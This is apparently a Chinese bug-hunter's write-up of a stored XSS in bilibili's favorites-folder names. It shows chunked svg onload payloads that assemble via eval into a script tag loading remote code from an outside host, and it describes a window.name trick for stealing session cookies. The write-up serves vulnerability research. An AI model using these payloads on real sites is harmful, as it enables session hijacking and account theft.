在個人空間的我的收藏中可編輯視頻收藏的名稱,之后嘗試寫入標簽。
http://space.bilibili.com/
發現輸出到前端的尖括號被轉義了,不過出現了一個json接口,他的Content-Type是html,打開看下內容
http://space.bilibili.com/ajax/fav/getBoxList?mid=4926267
發現尖括號起作用了,這個xss在space域下,看下bilibili的cookie在這個域下起不起作用
B站的cookie都在.bilibili.com下,是個子域名就可以打嘍。
嘗試隱身窗口訪問,避免self xss
由於后端驗證這個變量長度必須不大於30,按照以往的套路,就是建立多個單元,拼在一起,最后再eval一下就好了,可是這次B站弄聰明了,每個條的順序每次刷新不同,就會導致變量 undefined
例如我本打算這么執行
<svg onload=a='document.writ'>
<svg onload=b='e(String.from'>
<svg onload=c='CharCode(60,1'>
<svg onload=d='15,99,114,105'>
<svg onload=e=',112,116,32,1'>
<svg onload=f='15,114,99,61,'>
<svg onload=g='39,104,116,11'>
<svg onload=h='6,112,58,47,4'>
<svg onload=i='7,116,46,99,1'>
<svg onload=j='10,47,82,52,8'>
<svg onload=k='6,84,75,53,66'>
<svg onload=l=',39,62,60,47,'>
<svg onload=m='115,99,114,10'>
<svg onload=n='5,112,116,62)'>
<svg onload=o=');'>
<svg onload=x=a+b+n+d+e+f+g+h>
<svg onload=t=i+j+k+l+m+n+o>
<svg onload=eval(x+t)>
但是當我用加上去的時候卻變成了這樣
然后在刷新下又變成了這樣
所以這個方法在之后加入拼接變量的時候會出現undefined,因為刷新一下不知道后三行實際在頁面里的位置,這讓我很着急,不過bilibili的收藏有個奇怪的地方,他有個默認收藏夾總排在第一位,那么是不是可以利用這個特點做點文章呢?瞬間靈光一閃,window.name!!
利用window.name做跨域傳輸cookie吧,根據優先級的話,svg onload 會比 body onload 先執行,因此默認收藏夾的name寫<svg onload=b=document.cookie>,恰好長度為30,並且總會在第一位上,接下來建立個新的收藏夾,name為<body onload=window.name=b>,長度為27,排在第二位。這樣就成功把cookie放在了window.name上
構造好的源碼是這樣的
在console里測試下
接下來就是寫個頁面跨域傳值了,這個百度一大堆,就不貼代碼了